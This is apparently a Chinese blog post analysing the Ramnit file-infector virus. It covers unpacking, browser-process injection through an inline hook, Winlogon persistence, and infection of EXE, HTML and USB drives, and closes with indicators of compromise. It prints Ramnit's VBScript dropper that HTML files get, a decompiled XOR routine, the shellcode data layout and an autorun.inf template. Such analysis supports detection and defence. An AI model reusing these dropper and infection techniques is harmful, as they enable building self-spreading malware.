Ramnit病毒分析

概述

Ramnit病毒是一个相对古老的病毒,使用会感染系统内的exe和html文件,通过文件分发和U盘传播。

样本的基本信息

Verified:	Unsigned
Link date:	19:02 2008/2/12
Company:	SOFTWIN S.R.L.
Description:	BitDefender Management Console
MachineType:	32-bit
MD5:	FF5E1F27193CE51EEC318714EF038BEF
SHA1:	B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6

脱壳

这个样本有三层壳

第一层壳

使用PEiD查壳之后,发现加了一层upx壳

使用od载入,看到pushad,F8单步执行后,在ESP在值进行内存窗口跟随,设置硬件访问断点

F9继续,找到popad指令,删除硬件断点,F4执行到0042C1BB,F7进入

第二层壳

脱掉第一层UPX层之后,发现又一层壳

在VirtualAlloc处设置断点(此处借鉴了《加密与解密》第19章的内容)
F9断下来,发现分配了一个F000大小的缓冲区,Ctrl+F9执行到VirutalAlloc尾部,F8返回用户空间

Ctrl+F9,等待一段时间后(这个解密操作比较耗时),程序断在0040746D处,此时的栈顶为00932CA9,这个地址在刚才分配的内存段内,要进入解密后的代码执行了,F7进入

Ctrl+F9,等待一段时间,又解密了一段代码,程序断在009322AF处,此时栈顶是ZwFreeVirtualMemory,调用这个函数来释放刚才分配的内存,然后进入地址00411390执行(这是用户空间)

F7进入ZwFreeVirtualMemory,Ctrl+F9,F7进入00411390,发现了熟悉的pushad

第三层壳

第三层是upx壳
使用脱第一层壳的办法,设置硬件断点,最后跳到程序OEP

使用Ollydump脱壳

注入部分

脱壳后的dump文件的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	B3907AD34288854E26703E00BB835BC5

主函数

使用IDA Pro打开,主函数如下图所示。

首先从注册表中获取系统默认浏览器的路径

从注册表 HKEY_CLASSES_ROOT\http\shell\open\command 获取系统默认浏览器的路径,若该程序不存在的话,读取%ProgramFiles%\Internet Explorer\iexplore.exe来作为默认浏览器

创建名为KyUffThOkYwRRtgPP的互斥量,若存在同名的互斥量,关闭这个互斥量,退出。若新建互斥量成功,执行下面的操作。

获取当前文件的路径

CopySelfAndExec_402B89:若当前文件在可移动存储介质上 或 文件名为不为DesktopLayer.exe,在下面这些目录中找一个可写的目录,将自己拷贝过去,命名为DesktopLayer.exe,调用CreateProcess执行,然后退出

%CommonProgramFiles%\Microsoft\
%HOMEDRIVE%%HOMEPATH%\Microsoft\
%APPDATA%\Microsoft\
C:\Windows\System32\Microsoft\
C:\Windows\Microsoft\
%temp%\Microsoft\
%ProgramFiles%\Microsoft\

若当前文件不在U盘中且名为DesktopLayer.exe时,继续
GetAPIAddress_401848函数: 获取下面这些API的地址,给shellcode用

LdrLoadDll
LdrGetDllHandle
LdrGetProcedureAddress
RtlInitUnicodeString
RtlUnicodeStringToAnsiString
RtlFreeAnsiString
RtlInitString
RtlAnsiStringToUnicodeString
RtlFreeUnicodeString
ZwProtectVirtualMemory
RtlCreateUserThread
ZwFreeVirtualMemory
ZwDelayExecution
ZwQueryInformationProcess

之后 Hook ZwWriteVirtualMemory
调用CreateProcess打开默认浏览器或IE,这是一个傀儡进程,会被注入一个dll,后面会讲到
然后取消对ZwWriteVirtualMemory的hook

hook部分

下面分析一下hook的过程
首先挂起当前进程中除了主线程之外的其它线程,这是为保证线程安全
使用inlineHOOK的方式hook ZwWriteVirtualMemory函数
最后激活前面挂起的线程

inlineHOOK部分

首先使用GetProcAddress从ntdll.dll中获取ZwWriteVirtualMemory函数的地址

调用VirtualProtect修改内存访问权,将ZwWriteVirtualMemory地址的前10个字节访问权限修改为PAGE_EXECUTE_READWRITE

先创建一个跳板函数,用来实现原来函数的功能,因为后面要修改函数头5个字节:
获取从ZwWriteVirtualMemory地址开始至少5个字节的一段完整指令(因为不能把一条指令从中间截断),假设其大小为n(n>=5)
分配n+10大小的缓存区,假设地址为buf,用于构造跳板函数
将下面的内存拷贝到这段内存中,前5个字节在unhook中使用(unhook就是把这n个字节再拷贝回去)

ZwWriteVirtualMemory地址 4个字节 
提取的ZwWriteVirtualMemory头部的指令长度n  1个字节
提取的ZwWriteVirtualMemory头部的指令   n个字节
JMP 0xE9  1个字节
偏移量 4个字节 

上面这个偏移量是这样计算的

函数地址 + n - (buf + 5 + n + 5) = 函数地址 -  buf - 10

buf+5为跳板函数的地址,跳板函数用于实现原来函数的功能

修改ZwWriteVirtualMemory地址的前5个字节,修改为

JMP 0xE9  1个字节
偏移量 4个字节 NewZwWriteVirtualMemory_402A59-(ZwWriteVirtualMemory的地址 + 5) 

这样调用ZwWriteVirtualMemory,首先就jmp到NewZwWriteVirtualMemory_402A59处执行

要想使用原来函数的功能,使用跳板函数

下面分析一下这个NewZwWriteVirtualMemory_402A59函数

该函数首先调用跳板函数实现ZwWriteVirtualMemory的功能
获取浏览器进程的AddressOfEntryPoint
在目标进程空间中加载一个dll(拷贝PE头,各节)
向目标进程空间拷贝一段shellcode和传给shellcode参数
将下面这段指令拷贝到浏览器进程入口处,共计12个字节,这样浏览器进程启动就会执行这段shellcode

0xBF shellcode   mov     edi, shellcode ; 5个字节
0x68 param       push    param          ; 5个字节
ff d7            call    edi            ; 2个字节

下面分析一下这段shellcode(va为0x401F5D)

这段shellcode的功能是加载上面注入的dll
首先加载dll所需的导入表,建立IAT表
然后遍历dll的节表,修改节的属性
最后执行dll的入口函数,并传入病毒的文件路径
调用ZwDelayExecution sleep(0x8000000000000000 ns),差不多一直等下去

下面分析这个dll的功能

dll部分

这个dll是内嵌在第一部分中的,rva为0x404031,文件偏移为0x4031,大小为0x9800
将其提取出来
样本的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	651DEFC532F0E72BE60621696AA97972
SHA1:	43176A96322202FC8FD8901C213FDE820D005871

当加载dll时执行下面的逻辑

首先创建名为 KyUffThOkYwRRtgPP 的互斥量,防止双开

Init_10007B0A 执行一些初始化的工作,包括
初始化winsock库,解密字符串,获取系统驱动器、版本和时区信息,读取complete.dat文件,读取dlmconf.dat文件,将感染时间写入dlmconf.dat

complete.dat 里面存储一个列表,功能未知
dlmconf.dat 里面存储了三个时间,每次运行会更新第一个时间

创建了几个线程

线程SetAutoRun_10007ACA设置开机启动项,将DesktopLayer.exe文件路径链接到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit的值后面(已存在,就不用),实现开机自启动,间隙1s检查一次

线程TestConnectState_10007626作用是测试网络的连通性,会尝试连接google.com:80或bing.com:80或yahoo.com:80

线程SaveTime_1000781F 把这三个全局变量SystemTimeAsFileTime dword_1000A237 dword_1000A233写入文件 dmlconf.dat中 dmlconf.dat 死循环 间隔1分钟

Thread_10005906 监听本地的4678端口,用于处理控制端的连接,应该是一个后门,这段代码不会执行

线程Thread_1000790C 向后台发送数据 fget-career.com 443并接收响应
没有分析清楚

Infect_1000749F 用于感染系统内的exe、html文件,在U盘创建autorun.inf方式感染

最后是一个死循环,间隔1s检查一下病毒母体是否存在,不存在的话,会一直循环下去,存在,跳出

下面重点分析一下感染部分

感染部分

进入Infect_1000749F

设置注册表HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

获取自系统启动以来的毫秒数,保存在一个全局变量中,这个用于后面生成随机数

从Imagehlp.dll中获取CheckSumMappedFile函数的地址,后面用于重新计算PE的checksum

读取病毒本体的内容,把PE的内容变成字符串,嵌入到一段VBScript脚本中,这段代码用于后续感染html文件
这个vbs的功能是在%temp%文件夹下释放并启动病毒母体,文件名为svchost.exe

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

生成一段0x14=20长度的随机的字节,采用异或的方式加密文件内容
加解密的函数是同一个

// 加密或解密
void __stdcall XorData_10001D70(_BYTE *data, int data_size, int key, int key_size)
{
  int v4; // ecx
  int i; // edx

  if ( data_size && key_size )
  {
    v4 = data_size;
    i = 0;
    do
    {
      if ( !i )
        i = key_size - 1;
      *data++ ^= *(_BYTE *)(i + key);
      --i;
      --v4;
    }
    while ( v4 );
  }
}

接着创建了两个线程,用于感染感染固定驱动器或可移动存储介质
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qURrPcJl-1687662058360)(https://gitee.com/wlj2016/img_bed/raw/master/202306241017545.png)]

下面重点分析一个这两个线程

InfectDrives_10006EA8

线程的主体是个死循环

进入函数InfectDrives_100064E1,首先获取windows和system32路径,感染时会跳过这两个路径
遍历系统驱动器,若当前驱动器剩余大小大于512KB且固定驱动器或可移动存储介质,执行感染
InfectDrives_100064E1

进入函数InfectDir_10006377,递归遍历目录,跳过%windir%\system32、%windir%、名为RMNetwork目录,感染exe或html文件
InfectDir_10006377

进入InfectExeAndHtml_1000630C
通过文件后缀名来判断exe和html文件,执行感染
InfectExeAndHtml_1000630C

感染html文件

InfectHtml_10006AB2比较简单,若html文件大小大于9个字节,且最后9个字节不为</SCRIPT>,将前面构造好的vbs代码添加了html文件末尾

被感染的html文件

感染exe文件

首先打开要感染的exe目标文件,获取文件大小,若不是32位PE程序,或存在属性证书和CLR信息,跳过不感染

从PE的导入表中获取LoadLibraryA和GetProcAddress的IAT表项的va,(PE加载会填充IAT,从这儿获取API的地址)
计算shellcode的大小,0x1000749F-0x10006F2C=0x573
计算rmnet节的大小 病毒母体的大小+ shellcode的大小
修改PE头部,在节表最后,添加了一个名为rmnet的节,该节的位置在文件最末尾,将PE的OEP修改为rmnet节的起始位置
计算新的OEP和老的OEP的偏移(shellcode中使用,shellcode最终跳到老的OEP处执行)
计算LoadLibraryA和GetProcAddress的IAT表项与新的OEP的偏移(shellcode中使用,shellcode要从IAT中读取这两个API的地址)
把Shellcode和加密后的病毒自身依次写入rmnet节,

若原来PE的checksum不为0,重新计算PE文件的checksum

下面分析一下shellcode
shellcode的起始位置的VA为10006F2C,大小为0x573,分为代码部分和数据部分
首先获取OEP的地址,获取LoadLibraryA和GetProcAddress的地址,将这三个地址保存在数据部分

使用LoadLibraryA获得kernel32.dll的句柄,进而使用GetProcAddres获取下列这些API的地址

FreeLibrary
CreateMutexA
ReleaseMutex
CloseHandle
GetLastError
CreateFileA
WriteFile
GetModuleFileNameA
CreateProcessA

创建名为KyUffThOkYwRRtgPP的互斥量,然后关闭该互斥量对象
若存在同名的互斥量,将其关闭,退出

对病毒本体进行解密,密钥为先前加密使用的20字节的随机值

获取当前程序的路径,去掉后缀加上Srv.exe,构造一个新的文件名(病毒母体的文件名)

FileName = FileName[:FileName.rfind(".")]+"Srv.exe"

释放病毒母体

调用CreateProcess,启动病毒进程

最后是释放kernel32.dll的句柄,跳转到原始PE的OEP处执行

最后是shellcode的数据部分,保存着一些字符串和全局变量(读取gOldEntryPointOffset值可以还原原始文件的OEP,修复被感染的PE)

.text:10007248 lpNumberOfBytesWritten_10007248 dd 0    ; DATA XREF: ShellCode_10006F2C+27C↑o
.text:1000724C EntryPoint_1000724C dd 0                ; DATA XREF: ShellCode_10006F2C+15↑w
.text:1000724C                                         ; ShellCode_10006F2C+2B↑r ...
.text:10007250 dword_10007250  dd 6                    ; DATA XREF: ShellCode_10006F2C+F↑r
.text:10007254 gOldEntryPointOffset_10007254 dd 0      ; DATA XREF: InfectExeFile_1000678B+142↑w
.text:10007254                                         ; ShellCode_10006F2C+30F↑r
.text:10007258 ; HMODULE __stdcall LoadLibraryA_IAT_10007258(LPCSTR lpLibFileName)
.text:10007258 LoadLibraryA_IAT_10007258 dd 0          ; DATA XREF: InfectExeFile_1000678B+DB↑w
.text:10007258                                         ; InfectExeFile_1000678B+153↑r ...
.text:1000725C GetProcAddress_IAT_1000725C dd 0        ; DATA XREF: InfectExeFile_1000678B+F9↑w
.text:1000725C                                         ; InfectExeFile_1000678B+161↑r ...
.text:10007260 gEncodeKeySize_10007260 dd 14h          ; DATA XREF: ShellCode_10006F2C+205↑r
.text:10007260                                         ; Infect_1000749F+F7↓r ...
.text:10007264 ; char gEncodeKey_10007264[]
.text:10007264 gEncodeKey_10007264 db 0                ; DATA XREF: ShellCode_10006F2C:loc_10007138↑r
.text:10007264                                         ; Infect_1000749F+FD↓o ...
.text:10007265                 align 4
.text:10007268                 dd 4 dup(0)
.text:10007278 aKyuffthokywrrt_0 db 'KyUffThOkYwRRtgPP',0
.text:10007278                                         ; DATA XREF: ShellCode_10006F2C+1BB↑o
.text:1000728A aSrvExe         db 'Srv.exe',0          ; DATA XREF: ShellCode_10006F2C+242↑o
.text:10007292 FileName_10007292 dw 0                  ; DATA XREF: ShellCode_10006F2C+220↑o
.text:10007292                                         ; ShellCode_10006F2C+231↑o ...
.text:10007294                 dd 3Fh dup(0)
.text:10007390                 db 2 dup(0)
.text:10007392 lpStartupInfo_10007392 dw 0             ; DATA XREF: ShellCode_10006F2C+2A4↑o
.text:10007392                                         ; ShellCode_10006F2C+2C4↑o
.text:10007394                 dd 10h dup(0)
.text:100073D4                 db 2 dup(0)
.text:100073D6 lpProcessInformation_100073D6 dw 0      ; DATA XREF: ShellCode_10006F2C+2B3↑o
.text:100073D6                                         ; ShellCode_10006F2C+2BD↑o ...
.text:100073D8                 dd 3 dup(0)
.text:100073E4                 db 2 dup(0)
.text:100073E6 hKernel32_100073E6 dd 0                 ; DATA XREF: ShellCode_10006F2C+83↑w
.text:100073E6                                         ; ShellCode_10006F2C+90↑r ...
.text:100073EA LoadLibraryA_100073EA dd 0              ; DATA XREF: ShellCode_10006F2C+39↑w
.text:100073EA                                         ; ShellCode_10006F2C+60↑r ...
.text:100073EE FreeLibrary_100073EE dd 0               ; DATA XREF: ShellCode_10006F2C+A5↑w
.text:100073EE                                         ; ShellCode_10006F2C+303↑r
.text:100073F2 GetProcAddress_100073F2 dd 0            ; DATA XREF: ShellCode_10006F2C+4D↑w
.text:100073F2                                         ; ShellCode_10006F2C+53↑r ...
.text:100073F6 CreateMutexA_100073F6 dd 0              ; DATA XREF: ShellCode_10006F2C+C7↑w
.text:100073F6                                         ; ShellCode_10006F2C+1C6↑r
.text:100073FA CloseHandle_100073FA dd 0               ; DATA XREF: ShellCode_10006F2C+10B↑w
.text:100073FA                                         ; ShellCode_10006F2C+1DD↑r ...
.text:100073FE ReleaseMutex_100073FE dd 0              ; DATA XREF: ShellCode_10006F2C+E9↑w
.text:100073FE                                         ; ShellCode_10006F2C+1D7↑r
.text:10007402 ; DWORD __stdcall GetLastError_10007402()
.text:10007402 GetLastError_10007402 dd 0              ; DATA XREF: ShellCode_10006F2C+12D↑w
.text:10007402                                         ; ShellCode_10006F2C+1CD↑r
.text:10007406 ; HANDLE __stdcall CreateFileA_10007406(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
.text:10007406 CreateFileA_10007406 dd 0               ; DATA XREF: ShellCode_10006F2C+14F↑w
.text:10007406                                         ; ShellCode_10006F2C+268↑r
.text:1000740A WriteFile_1000740A dd 0                 ; DATA XREF: ShellCode_10006F2C+171↑w
.text:1000740A                                         ; ShellCode_10006F2C+292↑r
.text:1000740E GetModuleFileNameA_1000740E dd 0        ; DATA XREF: ShellCode_10006F2C+193↑w
.text:1000740E                                         ; ShellCode_10006F2C+229↑r
.text:10007412 ; BOOL __stdcall CreateProcessA_10007412(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
.text:10007412 CreateProcessA_10007412 dd 0            ; DATA XREF: ShellCode_10006F2C+1B5↑w
.text:10007412                                         ; ShellCode_10006F2C+2E0↑r
.text:10007416 aFreelibrary    db 'FreeLibrary',0      ; DATA XREF: ShellCode_10006F2C+89↑o
.text:10007422 aCreatemutexa   db 'CreateMutexA',0     ; DATA XREF: ShellCode_10006F2C+AB↑o
.text:1000742F aClosehandle    db 'CloseHandle',0      ; DATA XREF: ShellCode_10006F2C+EF↑o
.text:1000743B aReleasemutex   db 'ReleaseMutex',0     ; DATA XREF: ShellCode_10006F2C+CD↑o
.text:10007448 aGetlasterror   db 'GetLastError',0     ; DATA XREF: ShellCode_10006F2C+111↑o
.text:10007455 aCreatefilea    db 'CreateFileA',0      ; DATA XREF: ShellCode_10006F2C+133↑o
.text:10007461 aWritefile      db 'WriteFile',0        ; DATA XREF: ShellCode_10006F2C+155↑o
.text:1000746B aGetmodulefilen db 'GetModuleFileNameA',0
.text:1000746B                                         ; DATA XREF: ShellCode_10006F2C+177↑o
.text:1000747E aCreateprocessa db 'CreateProcessA',0   ; DATA XREF: ShellCode_10006F2C+199↑o
.text:1000748D aKernel32Dll_1  db 'kernel32.dll',0     ; DATA XREF: ShellCode_10006F2C+6D↑o
.text:1000749A gSelfFileSize_1000749A dd 0             ; DATA XREF: InfectExeFile_1000678B+14A↑w
.text:1000749A                                         ; ShellCode_10006F2C+1EF↑r ...
.text:1000749E ; char shellcode_end_1000749E[]
.text:1000749E shellcode_end_1000749E db 1             ; DATA XREF: ShellCode_10006F2C+1D↑w
.text:1000749E                                         ; ShellCode_10006F2C+1F5↑o ...

被感染exe文件,多了一个rmnet节

感染U盘

线程InfectUSB_10006EC2是用来感染U盘,遍历系统的驱动器,找到可移动存储介质
若存在autorun.inf文件,开头三个字节是否为RmN是的话表示已经被感染过,跳过

进入函数InfectUSB_10006BAF,将自身保存在U盘中,路径为X:\RECYCLER\随机路径名\8位随机字符.exe,隐藏目录RECYCLER
在U盘的根目录创建一个autorun.inf文件,内容为

RmN
[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\随机路径名\8位随机字符.exe
shell\explore\command=.\RECYCLER\随机路径名\8位随机字符.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\随机路径名\8位随机字符.exe

autorun.inf的图标为系统文件夹的icon

IOC

HASH
FF5E1F27193CE51EEC318714EF038BEF
B3907AD34288854E26703E00BB835BC5
651DEFC532F0E72BE60621696AA97972

文件
DesktopLayer.exe
*Srv.exe
%temp%\svchost.exe
浏览器根目录下
dlmconf.dat
complete.dat
U盘中存在 X:\RECYCLER\随机路径名\8位随机字符.exe
autorun.inf(以RmN开头)

注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 里面有DesktopLayer.exe路径
HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

网络
fget-career.com:443
google.com:80
bing.com:80
yahoo.com:80

感染行为
exe文件多了一个名为rmnet的节
html文件末尾 有一段VBscript脚本

进程行为
创建浏览器进程,注入一个dll,浏览器没有窗口

互斥量 
KyUffThOkYwRRtgPP

参考资料

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值